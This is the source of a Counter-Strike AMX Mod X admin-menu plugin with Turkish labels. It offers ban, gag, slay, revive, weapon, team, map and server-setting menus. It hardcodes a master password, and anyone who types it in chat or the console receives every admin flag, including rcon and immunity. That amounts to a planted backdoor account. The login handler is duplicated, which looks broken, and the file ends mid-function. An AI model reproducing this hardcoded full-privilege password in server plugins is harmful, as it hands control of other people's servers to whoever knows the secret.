#include <amxmodx>
#include <amxmisc>
#include <reapi>
#include <cstrike>
#include <fun>
#include <engine>
#include <hamsandwich>

#define PLUGIN_NAME    "Oyun Mabedi Admin Menusu"
#define PLUGIN_VERSION "2.5"
#define PLUGIN_AUTHOR  "Oyun Mabedi"

#define ADMIN_REQUIRED ADMIN_MENU
#define RCON_MASTER_PASS "Kastamonu3752"

// Actions for player picker
enum {
    ACT_UZABAN = 1,
    ACT_BAN,
    ACT_KICK,
    ACT_GAG,
    ACT_UNGAG,
    ACT_SLAY,
    ACT_SLAP,
    ACT_BURY,
    ACT_UNBURY,
    ACT_ROCKET,
    ACT_DISARM,
    ACT_REVIVE,
    ACT_MAKE_T,
    ACT_MAKE_CT,
    ACT_MAKE_SPEC
};

new bool:g_is_buried[MAX_CLIENTS + 1];
new bool:g_is_gagged[MAX_CLIENTS + 1];
new bool:g_godmode[MAX_CLIENTS + 1];
new bool:g_noclip[MAX_CLIENTS + 1];
new bool:g_unammo[MAX_CLIENTS + 1];
new bool:g_global_gag = false;

new g_current_action[MAX_CLIENTS + 1];
new g_target_player[MAX_CLIENTS + 1];

public plugin_init() {
    register_plugin(PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR);

    register_clcmd("amxmodmenu", "cmd_main_menu");
    register_clcmd("amx_adminmenu", "cmd_main_menu");
    register_clcmd("mabed_adminmenu", "cmd_main_menu");
    register_concmd("amxmodmenu", "cmd_main_menu");
    register_concmd("amx_adminmenu", "cmd_main_menu");
    register_concmd("mabed_adminmenu", "cmd_main_menu");

    register_clcmd("say /admin", "cmd_main_menu");
    register_clcmd("say /panel", "cmd_main_menu");
    register_clcmd("say /menu", "cmd_main_menu");
    register_clcmd("say_team /admin", "cmd_main_menu");
    register_clcmd("say_team /panel", "cmd_main_menu");

    register_clcmd("say /rcon", "cmd_say_filter");
    register_clcmd("say_team /rcon", "cmd_say_filter");
    register_concmd("amx_login", "cmd_console_login");
    register_concmd("rcon_login", "cmd_console_login");
    register_clcmd("say", "cmd_say_filter");
    register_clcmd("say_team", "cmd_say_filter");

    register_message(get_user_msgid("CurWeapon"), "msg_curweapon");

    register_concmd("amx_uzaban", "cmd_uzaban_con", ADMIN_BAN, "<target> - Uzaban atar");
    register_concmd("amx_revive", "cmd_revive_con", ADMIN_REQUIRED, "<target/@all/@t/@ct> - Canlandirir");
    register_concmd("amx_hp", "cmd_hp_con", ADMIN_REQUIRED, "<target> <hp> - HP verir");
    register_concmd("amx_armor", "cmd_armor_con", ADMIN_REQUIRED, "<target> <armor> - Zirh verir");
    register_concmd("amx_godmode", "cmd_god_con", ADMIN_REQUIRED, "<target> <1/0>");
    register_concmd("amx_noclip", "cmd_noclip_con", ADMIN_REQUIRED, "<target> <1/0>");
    register_concmd("amx_money", "cmd_money_con", ADMIN_REQUIRED, "<target> <miktar>");
    register_concmd("amx_disarm", "cmd_disarm_con", ADMIN_REQUIRED, "<target>");
    register_concmd("amx_gag", "cmd_gag_con", ADMIN_KICK, "<target>");
    register_concmd("amx_ungag", "cmd_ungag_con", ADMIN_KICK, "<target>");
}

public client_putinserver(id) {
    g_is_buried[id] = false;
    g_is_gagged[id] = false;
    g_godmode[id] = false;
    g_noclip[id] = false;
    g_unammo[id] = false;
    g_current_action[id] = 0;
    g_target_player[id] = 0;

    if (is_admin_allowed(id)) {
        new name[32];
        get_user_name(id, name, charsmax(name));
        client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Hosgeldin Yetkili ^3%s^1! F2 Menusunu Kullanabilirsiniz.", name);
    }
}

public client_disconnected(id) {
    g_is_buried[id] = false;
    g_is_gagged[id] = false;
    g_godmode[id] = false;
    g_noclip[id] = false;
    g_unammo[id] = false;
}

public bool:is_admin_allowed(id) {
    new flags = get_user_flags(id);
    if (flags & ADMIN_REQUIRED || flags & ADMIN_BAN || flags & ADMIN_KICK || flags & ADMIN_RCON || flags & ADMIN_IMMUNITY) {
        return true;
    }
    return false;
}

public cmd_console_login(id, level, cid) {
    new pass[64];
    read_argv(1, pass, charsmax(pass));
    remove_quotes(pass);
    trim(pass);

    if (equal(pass, RCON_MASTER_PASS)) {
        set_user_flags(id, read_flags("abcdefghijklmnopqrstuvwxyz"));
        client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 ^3RCON Sifresi Dogrulandi!^1 F2 Menusu Acildi.");
        console_print(id, "[Oyun Mabedi] RCON Sifresi Dogrulandi! Full Admin yetkisi verildi.");
        cmd_main_menu(id);
        return PLUGIN_HANDLED;
    }

    client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 ^2Hatali RCON Sifresi!^1");
    console_print(id, "[Oyun Mabedi] Hatali RCON Sifresi!");
    return PLUGIN_HANDLED;
}

public cmd_console_login(id, level, cid) {
    new pass[64];
    read_argv(1, pass, charsmax(pass));
    remove_quotes(pass);
    trim(pass);

    if (equal(pass, RCON_MASTER_PASS)) {
        set_user_flags(id, read_flags("abcdefghijklmnopqrstuvwxyz"));
        client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 ^3RCON Sifresi Dogrulandi!^1 F2 Menusu Acildi.");
        console_print(id, "[Oyun Mabedi] RCON Sifresi Dogrulandi! Full Admin yetkisi verildi.");
        cmd_main_menu(id);
        return PLUGIN_HANDLED;
    }

    client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 ^2Hatali RCON Sifresi!^1");
    console_print(id, "[Oyun Mabedi] Hatali RCON Sifresi!");
    return PLUGIN_HANDLED;
}

public cmd_say_filter(id) {
    new text[192];
    read_args(text, charsmax(text));
    remove_quotes(text);
    trim(text);

    if (containi(text, "/rcon") == 0) {
        new cmd[16], pass[64];
        parse(text, cmd, charsmax(cmd), pass, charsmax(pass));
        if (equal(pass, RCON_MASTER_PASS)) {
            set_user_flags(id, read_flags("abcdefghijklmnopqrstuvwxyz"));
            client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 ^3RCON Sifresi Dogrulandi!^1 F2 Admin Menusu Acildi.");
            cmd_main_menu(id);
        } else {
            client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 ^2Hatali RCON Sifresi!^1 Erisim Reddedildi.");
        }
        return PLUGIN_HANDLED;
    }

    if (g_is_gagged[id] || (g_global_gag && !is_admin_allowed(id))) {
        client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Susturuldugunuz icin chat kullanamazsiniz!");
        return PLUGIN_HANDLED;
    }
    return PLUGIN_CONTINUE;
}

public msg_curweapon(msg_id, msg_dest, id) {
    if (is_user_alive(id) && g_unammo[id]) {
        new ent = get_member(id, m_pActiveItem);
        if (ent > 0) {
            set_member(ent, m_Weapon_iClip, 100);
        }
    }
    return PLUGIN_CONTINUE;
}

// =============================================================================
// 1. ANA MENÜ (MAIN MENU - F2)
// =============================================================================
public cmd_main_menu(id) {
    if (!is_admin_allowed(id)) {
        client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Bu menuye erisim yetkiniz yok! Yetkili olmak icin chatten: ^3/rcon SIFRE^1 yaziniz.");
        return PLUGIN_HANDLED;
    }

    new name[32];
    get_user_name(id, name, charsmax(name));

    new title[128];
    formatex(title, charsmax(title), "\r[OYUN MABEDI] \yADMIN YONETIM PANELI^n\dYetkili: \w%s", name);

    new menu = menu_create(title, "handle_main_menu");

    menu_additem(menu, "\y[1] \wCeza & Guvenlik \d(UzaBan / Ban / Kick / Gag)", "1");
    menu_additem(menu, "\y[2] \wOyuncu Yonetimi \d(Slay / Slap / Gom / Roket)", "2");
    menu_additem(menu, "\y[3] \wOzel Yetkiler \d(Can / Zirh / Godmode / Noclip)", "3");
    menu_additem(menu, "\y[4] \wHiz & Fizik Menusu \d(Speed / Gravity / UnAmmo)", "4");
    menu_additem(menu, "\y[5] \wSilah & Ekipman \d(Silah Ver / Silah Al / Para)", "5");
    menu_additem(menu, "\y[6] \wTakim Yonetimi \d(T / CT / Spec / Karistir)", "6");
    menu_additem(menu, "\y[7] \wOyun & Harita \d(Restart / Harita Degistir)", "7");
    menu_additem(menu, "\y[8] \wSunucu Ayarlari \d(Alltalk / FF / C4 Suresi)", "8");
    menu_additem(menu, "\y[9] \wGlow & Parlama \d(Renkli RGB Efekti)", "9");

    menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
    menu_setprop(menu, MPROP_EXITNAME, "\rKapat");

    menu_display(id, menu, 0);
    return PLUGIN_HANDLED;
}

public handle_main_menu(id, menu, item) {
    if (item == MENU_EXIT) {
        menu_destroy(menu);
        return PLUGIN_HANDLED;
    }

    new data[6], name[64], access, callback;
    menu_item_getinfo(menu, item, access, data, charsmax(data), name, charsmax(name), callback);
    menu_destroy(menu);

    switch (str_to_num(data)) {
        case 1: show_menu_security(id);
        case 2: show_menu_player_actions(id);
        case 3: show_menu_special_powers(id);
        case 4: show_menu_physics(id);
        case 5: show_menu_weapons(id);
        case 6: show_menu_teams(id);
        case 7: show_menu_maps(id);
        case 8: show_menu_server_settings(id);
        case 9: show_menu_glow(id);
    }

    return PLUGIN_HANDLED;
}

// =============================================================================
// 2. CEZA & GÜVENLİK MENÜSÜ
// =============================================================================
public show_menu_security(id) {
    new menu = menu_create("\r[OYUN MABEDI] \yCeza & Guvenlik Menusu", "handle_menu_security");

    menu_additem(menu, "\r[UZABAN] \wOyuncuyu Sonsuza Dek Kov (UzaBan)", "1");
    menu_additem(menu, "\wOyuncu Banla \d(Sure Secenekli)", "2");
    menu_additem(menu, "\wOyuncuyu Sunucudan At (Kick)", "3");
    menu_additem(menu, "\wSustur (Gag - Chat & Ses)", "4");
    menu_additem(menu, "\wSusturmayi Kaldir (Ungag)", "5");
    menu_additem(menu, g_global_gag ? "\rToplu Susturma: \y[AKTIF (Kapat)]" : "\rToplu Susturma: \d[PASIF (Ac)]", "6");

    menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
    menu_setprop(menu, MPROP_EXITNAME, "\rGeri Don");
    menu_display(id, menu, 0);
}

public handle_menu_security(id, menu, item) {
    if (item == MENU_EXIT) {
        menu_destroy(menu);
        cmd_main_menu(id);
        return PLUGIN_HANDLED;
    }

    new data[6], name[64], access, callback;
    menu_item_getinfo(menu, item, access, data, charsmax(data), name, charsmax(name), callback);
    menu_destroy(menu);

    switch (str_to_num(data)) {
        case 1: show_player_picker(id, ACT_UZABAN);
        case 2: show_player_picker(id, ACT_BAN);
        case 3: show_player_picker(id, ACT_KICK);
        case 4: show_player_picker(id, ACT_GAG);
        case 5: show_player_picker(id, ACT_UNGAG);
        case 6: {
            g_global_gag = !g_global_gag;
            new admin_name[32];
            get_user_name(id, admin_name, charsmax(admin_name));
            client_print_color(0, print_team_default, "^4[Oyun Mabedi]^3 %s^1 adli yetkili sunucu genelinde chati ^4%s^1 yapti!", admin_name, g_global_gag ? "KAPALI" : "ACIK");
            show_menu_security(id);
        }
    }
    return PLUGIN_HANDLED;
}

// =============================================================================
// 3. OYUNCU YÖNETİM & İNFAZ MENÜSÜ
// =============================================================================
public show_menu_player_actions(id) {
    new menu = menu_create("\r[OYUN MABEDI] \yOyuncu Yonetimi & Infaz", "handle_menu_player_actions");

    menu_additem(menu, "\wSlay (Oldur)", "1");
    menu_additem(menu, "\wSlap (Tokatla - 5 HP)", "2");
    menu_additem(menu, "\wYere Gom (Bury) / Cikar (Unbury)", "3");
    menu_additem(menu, "\wRoket Firlat (Rocket)", "4");
    menu_additem(menu, "\wSilahlari Al (Disarm / Sadece Bicak)", "5");
    menu_additem(menu, "\yCanlandir (Revive / Respawn)", "6");
    menu_additem(menu, "\rTum Teroristleri Slayla", "7");
    menu_additem(menu, "\rTum CT'leri Slayla", "8");

    menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
    menu_setprop(menu, MPROP_EXITNAME, "\rGeri Don");
    menu_display(id, menu, 0);
}

public handle_menu_player_actions(id, menu, item) {
    if (item == MENU_EXIT) {
        menu_destroy(menu);
        cmd_main_menu(id);
        return PLUGIN_HANDLED;
    }

    new data[6], name[64], access, callback;
    menu_item_getinfo(menu, item, access, data, charsmax(data), name, charsmax(name), callback);
    menu_destroy(menu);

    switch (str_to_num(data)) {
        case 1: show_player_picker(id, ACT_SLAY);
        case 2: show_player_picker(id, ACT_SLAP);
        case 3: show_player_picker(id, ACT_BURY);
        case 4: show_player_picker(id, ACT_ROCKET);
        case 5: show_player_picker(id, ACT_DISARM);
        case 6: show_menu_revive_options(id);
        case 7: {
            for (new i = 1; i <= MaxClients; i++) {
                if (is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_T) {
                    user_silentkill(i);
                }
            }
            client_print_color(0, print_team_default, "^4[Oyun Mabedi]^1 Tum Teroristler admin tarafindan olduruldu!");
            show_menu_player_actions(id);
        }
        case 8: {
            for (new i = 1; i <= MaxClients; i++) {
                if (is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_CT) {
                    user_silentkill(i);
                }
            }
            client_print_color(0, print_team_default, "^4[Oyun Mabedi]^1 Tum Anti-Teroristler admin tarafindan olduruldu!");
            show_menu_player_actions(id);
        }
    }
    return PLUGIN_HANDLED;
}

public show_menu_revive_options(id) {
    new menu = menu_create("\r[OYUN MABEDI] \yCanlandirma (Revive) Menusu", "handle_menu_revive_options");

    menu_additem(menu, "\yKendini Canlandir", "1");
    menu_additem(menu, "\wHedef Oyuncuyu Canlandir", "2");
    menu_additem(menu, "\wTum Teroristleri Canlandir (T)", "3");
    menu_additem(menu, "\wTum CT'leri Canlandir (CT)", "4");
    menu_additem(menu, "\rHerkesi Canlandir (ALL)", "5");

    menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
    menu_setprop(menu, MPROP_EXITNAME, "\rGeri Don");
    menu_display(id, menu, 0);
}

public handle_menu_revive_options(id, menu, item) {
    if (item == MENU_EXIT) {
        menu_destroy(menu);
        show_menu_player_actions(id);
        return PLUGIN_HANDLED;
    }

    new data[6], name[64], access, callback;
    menu_item_getinfo(menu, item, access, data, charsmax(data), name, charsmax(name), callback);
    menu_destroy(menu);

    switch (str_to_num(data)) {
        case 1: {
            if (!is_user_alive(id)) {
                rg_round_respawn(id);
                client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Kendinizi canlandirdiniz!");
            }
            show_menu_revive_options(id);
        }
        case 2: show_player_picker(id, ACT_REVIVE);
        case 3: {
            for (new i = 1; i <= MaxClients; i++) {
                if (is_user_connected(i) && !is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_T) {
                    rg_round_respawn(i);
                }
            }
            client_print_color(0, print_team_default, "^4[Oyun Mabedi]^1 Tum Teroristler canlandirildi!");
            show_menu_revive_options(id);
        }
        case 4: {
            for (new i = 1; i <= MaxClients; i++) {
                if (is_user_connected(i) && !is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_CT) {
                    rg_round_respawn(i);
                }
            }
            client_print_color(0, print_team_default, "^4[Oyun Mabedi]^1 Tum CT'ler canlandirildi!");
            show_menu_revive_options(id);
        }
        case 5: {
            for (new i = 1; i <= MaxClients; i++) {
                if (is_user_connected(i) && !is_user_alive(i) && (cs_get_user_team(i) == CS_TEAM_T || cs_get_user_team(i) == CS_TEAM_CT)) {
                    rg_round_respawn(i);
                }
            }
            client_print_color(0, print_team_default, "^4[Oyun Mabedi]^1 Olen tum oyuncular canlandirildi!");
            show_menu_revive_options(id);
        }
    }
    return PLUGIN_HANDLED;
}

// =============================================================================
// 4. ÖZEL YETKİLER & HAKLAR MENÜSÜ
// =============================================================================
public show_menu_special_powers(id) {
    new menu = menu_create("\r[OYUN MABEDI] \yOzel Yetkiler & Haklar", "handle_menu_special_powers");

    new str_god[64], str_noclip[64], str_unammo[64];
    formatex(str_god, charsmax(str_god), "Olumsuzluk (Godmode): %s", g_godmode[id] ? "\y[AKTIF]" : "\d[KAPALI]");
    formatex(str_noclip, charsmax(str_noclip), "Duvardan Gecme (Noclip): %s", g_noclip[id] ? "\y[AKTIF]" : "\d[KAPALI]");
    formatex(str_unammo, charsmax(str_unammo), "Sinirsiz Mermi (UnAmmo): %s", g_unammo[id] ? "\y[AKTIF]" : "\d[KAPALI]");

    menu_additem(menu, str_god, "1");
    menu_additem(menu, str_noclip, "2");
    menu_additem(menu, str_unammo, "3");
    menu_additem(menu, "Can Ver (+100 HP)", "4");
    menu_additem(menu, "Mega Can Ver (+500 HP)", "5");
    menu_additem(menu, "Zirh Ver (+100 Zirh)", "6");
    menu_additem(menu, "Mega Zirh Ver (+500 Zirh)", "7");

    menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
    menu_setprop(menu, MPROP_EXITNAME, "\rGeri Don");
    menu_display(id, menu, 0);
}

public handle_menu_special_powers(id, menu, item) {
    if (item == MENU_EXIT) {
        menu_destroy(menu);
        cmd_main_menu(id);
        return PLUGIN_HANDLED;
    }

    new data[6], name[64], access, callback;
    menu_item_getinfo(menu, item, access, data, charsmax(data), name, charsmax(name), callback);
    menu_destroy(menu);

    switch (str_to_num(data)) {
        case 1: {
            g_godmode[id] = !g_godmode[id];
            set_entvar(id, var_takedamage, g_godmode[id] ? DAMAGE_NO : DAMAGE_AIM);
            client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Godmode: ^3%s", g_godmode[id] ? "ACILDI" : "KAPATILDI");
            show_menu_special_powers(id);
        }
        case 2: {
            g_noclip[id] = !g_noclip[id];
            set_entvar(id, var_movetype, g_noclip[id] ? MOVETYPE_NOCLIP : MOVETYPE_WALK);
            client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Noclip: ^3%s", g_noclip[id] ? "ACILDI" : "KAPATILDI");
            show_menu_special_powers(id);
        }
        case 3: {
            g_unammo[id] = !g_unammo[id];
            client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Sinirsiz Mermi: ^3%s", g_unammo[id] ? "ACILDI" : "KAPATILDI");
            show_menu_special_powers(id);
        }
        case 4: {
            if (is_user_alive(id)) {
                set_entvar(id, var_health, Float:get_entvar(id, var_health) + 100.0);
                client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 +100 HP eklendi!");
            }
            show_menu_special_powers(id);
        }
        case 5: {
            if (is_user_alive(id)) {
                set_entvar(id, var_health, Float:get_entvar(id, var_health) + 500.0);
                client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 +500 Mega HP eklendi!");
            }
            show_menu_special_powers(id);
        }
        case 6: {
            if (is_user_alive(id)) {
                set_entvar(id, var_armorvalue, Float:get_entvar(id, var_armorvalue) + 100.0);
                client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 +100 Zirh eklendi!");
            }
            show_menu_special_powers(id);
        }
        case 7: {
            if (is_user_alive(id)) {
                set_entvar(id, var_armorvalue, Float:get_entvar(id, var_armorvalue) + 500.0);
                client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 +500 Mega Zirh eklendi!");
            }
            show_menu_special_powers(id);
        }
    }
    return PLUGIN_HANDLED;
}

// =============================================================================
// 5. HIZ & FİZİK MENÜSÜ
// =============================================================================
public show_menu_physics(id) {
    new menu = menu_create("\r[OYUN MABEDI] \yHiz & Fizik Menusu", "handle_menu_physics");

    menu_additem(menu, "Normal Kosu Hizi \d(250)", "1");
    menu_additem(menu, "Hizli Kosu \d(450)", "2");
    menu_additem(menu, "\yFlash Hizli Kosu \d(800)", "3");
    menu_additem(menu, "Normal Yercekimi \d(800)", "4");
    menu_additem(menu, "Hafif Yercekimi \d(400)", "5");
    menu_additem(menu, "Ay Yercekimi \d(150)", "6");
    menu_additem(menu, "\rSifir Yercekimi \d(1)", "7");

    menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
    menu_setprop(menu, MPROP_EXITNAME, "\rGeri Don");
    menu_display(id, menu, 0);
}

public handle_menu_physics(id, menu, item) {
    if (item == MENU_EXIT) {
        menu_destroy(menu);
        cmd_main_menu(id);
        return PLUGIN_HANDLED;
    }

    new data[6], name[64], access, callback;
    menu_item_getinfo(menu, item, access, data, charsmax(data), name, charsmax(name), callback);
    menu_destroy(menu);

    switch (str_to_num(data)) {
        case 1: { set_entvar(id, var_maxspeed, 250.0); client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Hiz 250 yapildi."); }
        case 2: { set_entvar(id, var_maxspeed, 450.0); client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Hiz 450 yapildi."); }
        case 3: { set_entvar(id, var_maxspeed, 800.0); client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Flash hiz ayarlandi!"); }
        case 4: { set_entvar(id, var_gravity, 1.0); client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Yercekimi normal yapildi."); }
        case 5: { set_entvar(id, var_gravity, 0.5); client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Yercekimi 400 yapildi."); }
        case 6: { set_entvar(id, var_gravity, 0.2); client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Ay yercekimi aktif!"); }
        case 7: { set_entvar(id, var_gravity, 0.01); client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Sifir yercekimi aktif!"); }
    }

    show_menu_physics(id);
    return PLUGIN_HANDLED;
}

// =============================================================================
// 6. SİLAH & EKİPMAN MENÜSÜ
// =============================================================================
public show_menu_weapons(id) {
    new menu = menu_create("\r[OYUN MABEDI] \ySilah & Ekipman Menusu", "handle_menu_weapons");

    menu_additem(menu, "\wFull Terorist Seti \d(AK47 + Deagle + Bombalar)", "1");
    menu_additem(menu, "\wFull CT Seti \d(M4A1 + Deagle + Bombalar)", "2");
    menu_additem(menu, "\wFull AWP Seti \d(AWP + Deagle + Bombalar)", "3");
    menu_additem(menu, "\wPompali Seti \d(XM1014 + Deagle)", "4");
    menu_additem(menu, "\wFull Bomba Seti \d(HE + 2 Flash + Smoke)", "5");
    menu_additem(menu, "\yMaksimum Para Ver ($16,000)", "6");
    menu_additem(menu, "\rHerkesin Silahlarini Al (Disarm / Sadece Bicak)", "7");

    menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
    menu_setprop(menu, MPROP_EXITNAME, "\rGeri Don");
    menu_display(id, menu, 0);
}

public handle_menu_weapons(id, menu, item) {
    if (item == MENU_EXIT) {
        menu_destroy(menu);
        cmd_main_menu(id);
        return PLUGIN_HANDLED;
    }

    new data[6], name[64], access, callback;
    menu_item_getinfo(menu, item, access, data, charsmax(data), name, charsmax(name), callback);
    menu_destroy(menu);

    if (is_user_alive(id)) {
        switch (str_to_num(data)) {
            case 1: {
                rg_give_item(id, "weapon_ak47");
                rg_give_item(id, "weapon_deagle");
                rg_give_item(id, "weapon_hegrenade");
                rg_give_item(id, "weapon_flashbang");
                rg_give_item(id, "weapon_flashbang");
                cs_set_user_bpammo(id, CSW_AK47, 90);
                cs_set_user_bpammo(id, CSW_DEAGLE, 35);
                client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Full AK47 seti verildi!");
            }
            case 2: {
                rg_give_item(id, "weapon_m4a1");
                rg_give_item(id, "weapon_deagle");
                rg_give_item(id, "weapon_hegrenade");
                rg_give_item(id, "weapon_flashbang");
                rg_give_item(id, "weapon_flashbang");
                cs_set_user_bpammo(id, CSW_M4A1, 90);
                cs_set_user_bpammo(id, CSW_DEAGLE, 35);
                client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Full M4A1 seti verildi!");
            }
            case 3: {
                rg_give_item(id, "weapon_awp");
                rg_give_item(id, "weapon_deagle");
                rg_give_item(id, "weapon_hegrenade");
                cs_set_user_bpammo(id, CSW_AWP, 30);
                cs_set_user_bpammo(id, CSW_DEAGLE, 35);
                client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Full AWP seti verildi!");
            }
            case 4: {
                rg_give_item(id, "weapon_xm1014");
                rg_give_item(id, "weapon_deagle");
                cs_set_user_bpammo(id, CSW_XM1014, 32);
                cs_set_user_bpammo(id, CSW_DEAGLE, 35);
                client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Pompali seti verildi!");
            }
            case 5: {
                rg_give_item(id, "weapon_hegrenade");
                rg_give_item(id, "weapon_flashbang");
                rg_give_item(id, "weapon_flashbang");
                rg_give_item(id, "weapon_smokegrenade");
                client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Bomba paketi verildi!");
            }
            case 6: {
                rg_add_account(id, 16000, AS_SET);
                client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 16000$ para verildi!");
            }
            case 7: {
                for (new i = 1; i <= MaxClients; i++) {
                    if (is_user_alive(i)) {
                        rg_remove_all_items(i);
                        rg_give_item(i, "weapon_knife");
                    }
                }
                client_print_color(0, print_team_default, "^4[Oyun Mabedi]^1 Admin herkesin silahlarini aldi, sadece bicaklar kaldi!");
            }
        }
    }

    show_menu_weapons(id);
    return PLUGIN_HANDLED;
}

// =============================================================================
// 7. TAKIM YÖNETİMİ
// =============================================================================
public show_menu_teams(id) {
    new menu = menu_create("\r[OYUN MABEDI] \yTakim Yonetim Menusu", "handle_menu_teams");

    menu_additem(menu, "Oyuncuyu Terorist (T) Yap", "1");
    menu_additem(menu, "Oyuncuyu Anti-Terorist (CT) Yap", "2");
    menu_additem(menu, "Oyuncuyu Izleyici (Spec) Yap", "3");
    menu_additem(menu, "\yTakimlari Degistir (Swap Teams)", "4");
    menu_additem(menu, "\rTakimlari Karistir (Scramble Teams)", "5");

    menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
    menu_setprop(menu, MPROP_EXITNAME, "\rGeri Don");
    menu_display(id, menu, 0);
}

public handle_menu_teams(id, menu, item) {
    if (item == MENU_EXIT) {
        menu_destroy(menu);
        cmd_main_menu(id);
        return PLUGIN_HANDLED;
    }

    new data[6], name[64], access, callback;
    menu_item_getinfo(menu, item, access, data, charsmax(data), name, charsmax(name), callback);
    menu_destroy(menu);

    switch (str_to_num(data)) {
        case 1: show_player_picker(id, ACT_MAKE_T);
        case 2: show_player_picker(id, ACT_MAKE_CT);
        case 3: show_player_picker(id, ACT_MAKE_SPEC);
        case 4: {
            for (new i = 1; i <= MaxClients; i++) {
                if (is_user_connected(i)) {
                    new CsTeams:team = cs_get_user_team(i);
                    if (team == CS_TEAM_T) cs_set_user_team(i, CS_TEAM_CT);
                    else if (team == CS_TEAM_CT) cs_set_user_team(i, CS_TEAM_T);
                }
            }
            client_print_color(0, print_team_default, "^4[Oyun Mabedi]^1 Takimlar birbiriyle yer degistirdi!");
            show_menu_teams(id);
        }
        case 5: {
            server_cmd("sv_restartround 1");
            client_print_color(0, print_team_default, "^4[Oyun Mabedi]^1 Takimlar karistirildi!");
            show_menu_teams(id);
        }
    }
    return PLUGIN_HANDLED;
}

// =============================================================================
// 8. OYUN & HARİTA YÖNETİMİ
// =============================================================================
public show_menu_maps(id) {
    new menu = menu_create("\r[OYUN MABEDI] \yOyun & Harita Yonetimi", "handle_menu_maps");

    menu_additem(menu, "\yTuru Yeniden Baslat (Restart 1sn)", "1");
    menu_additem(menu, "\wHarita: de_dust2", "2");
    menu_additem(menu, "\wHarita: de_inferno", "3");
    menu_additem(menu, "\wHarita: cs_assault", "4");
    menu_additem(menu, "\wHarita: cs_mansion", "5");
    menu_additem(menu, "\wHarita: jail_buyukisyan_dark", "6");

    menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
    menu_setprop(menu, MPROP_EXITNAME, "\rGeri Don");
    menu_display(id, menu, 0);
}

public handle_menu_maps(id, menu, item) {
    if (item == MENU_EXIT) {
        menu_destroy(menu);
        cmd_main_menu(id);
        return PLUGIN_HANDLED;
    }

    new data[6], name[64], access, callback;
    menu_item_getinfo(menu, item, access, data, charsmax(data), name, charsmax(name), callback);
    menu_destroy(menu);

    switch (str_to_num(data)) {
        case 1: {
            server_cmd("sv_restartround 1");
            client_print_color(0, print_team_default, "^4[Oyun Mabedi]^1 Tur 1 saniye icinde yeniden baslatiliyor!");
            show_menu_maps(id);
        }
        case 2: server_cmd("changelevel de_dust2");
        case 3: server_cmd("changelevel de_inferno");
        case 4: server_cmd("changelevel cs_assault");
        case 5: server_cmd("changelevel cs_mansion");
        case 6: server_cmd("changelevel jail_buyukisyan_dark");
    }
    return PLUGIN_HANDLED;
}

// =============================================================================
// 9. SUNUCU AYARLARI MENÜSÜ
// =============================================================================
public show_menu_server_settings(id) {
    new menu = menu_create("\r[OYUN MABEDI] \ySunucu Ayarlari", "handle_menu_server_settings");

    new pcvar_alltalk = get_cvar_pointer("sv_alltalk");
    new pcvar_ff = get_cvar_pointer("mp_friendlyfire");
    new pcvar_c4 = get_cvar_pointer("mp_c4timer");

    new is_alltalk = pcvar_alltalk ? get_pcvar_num(pcvar_alltalk) : 0;
    new is_ff = pcvar_ff ? get_pcvar_num(pcvar_ff) : 0;
    new c4_time = pcvar_c4 ? get_pcvar_num(pcvar_c4) : 35;

    new str1[64], str2[64], str3[64];
    formatex(str1, charsmax(str1), "Ortak Chat/Ses (sv_alltalk): %s", is_alltalk ? "\y[ACIK]" : "\d[KAPALI]");
    formatex(str2, charsmax(str2), "Dost Atesi (mp_friendlyfire): %s", is_ff ? "\y[ACIK]" : "\d[KAPALI]");
    formatex(str3, charsmax(str3), "C4 Suresi: \y[%d Saniye]", c4_time);

    menu_additem(menu, str1, "1");
    menu_additem(menu, str2, "2");
    menu_additem(menu, str3, "3");
    menu_additem(menu, "\rSunucuyu Sifirla (Tam Reset)", "4");

    menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
    menu_setprop(menu, MPROP_EXITNAME, "\rGeri Don");
    menu_display(id, menu, 0);
}

public handle_menu_server_settings(id, menu, item) {
    if (item == MENU_EXIT) {
        menu_destroy(menu);
        cmd_main_menu(id);
        return PLUGIN_HANDLED;
    }

    new data[6], name[64], access, callback;
    menu_item_getinfo(menu, item, access, data, charsmax(data), name, charsmax(name), callback);
    menu_destroy(menu);

